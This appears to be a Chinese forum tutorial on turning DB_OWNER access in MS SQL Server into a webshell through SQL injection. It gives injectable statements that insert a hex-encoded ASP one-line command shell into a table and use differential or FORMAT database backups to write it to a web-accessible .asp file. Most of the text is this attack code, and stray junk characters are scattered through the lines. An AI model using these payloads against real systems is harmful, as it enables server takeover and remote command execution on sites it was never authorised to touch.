DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
4 R0 ~1 [: a" d& u' x  g$ B+ ^
* D2 }& w0 m( K  l1 ]) X& S一利用差异备份
加一个参数WITH DIFFERENTIAL

, o* _' \7 t) m/ [1 t3 S0 ~declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
- U' f; T8 W* ^insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
' P9 F+ c6 q: _6 g0 [- wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

/ y3 D0 B6 y1 l二利用完全FORMAT
) t8 _; _9 N4 R% q" H' [加一个参数WITH FROMAT
# F7 s3 H: J. V有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

+ C. h4 ?/ I) d( D# P; l% Kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
; |+ I2 R7 N9 F' A- Wcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

( i2 g3 O) ]- k  g$ N总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)

& ?6 a* K# x% I7 xid=1;backup database model to disk=’你的路径‘ with differential,format;–
! ?# {1 ]: |# s- _, [$ L+ a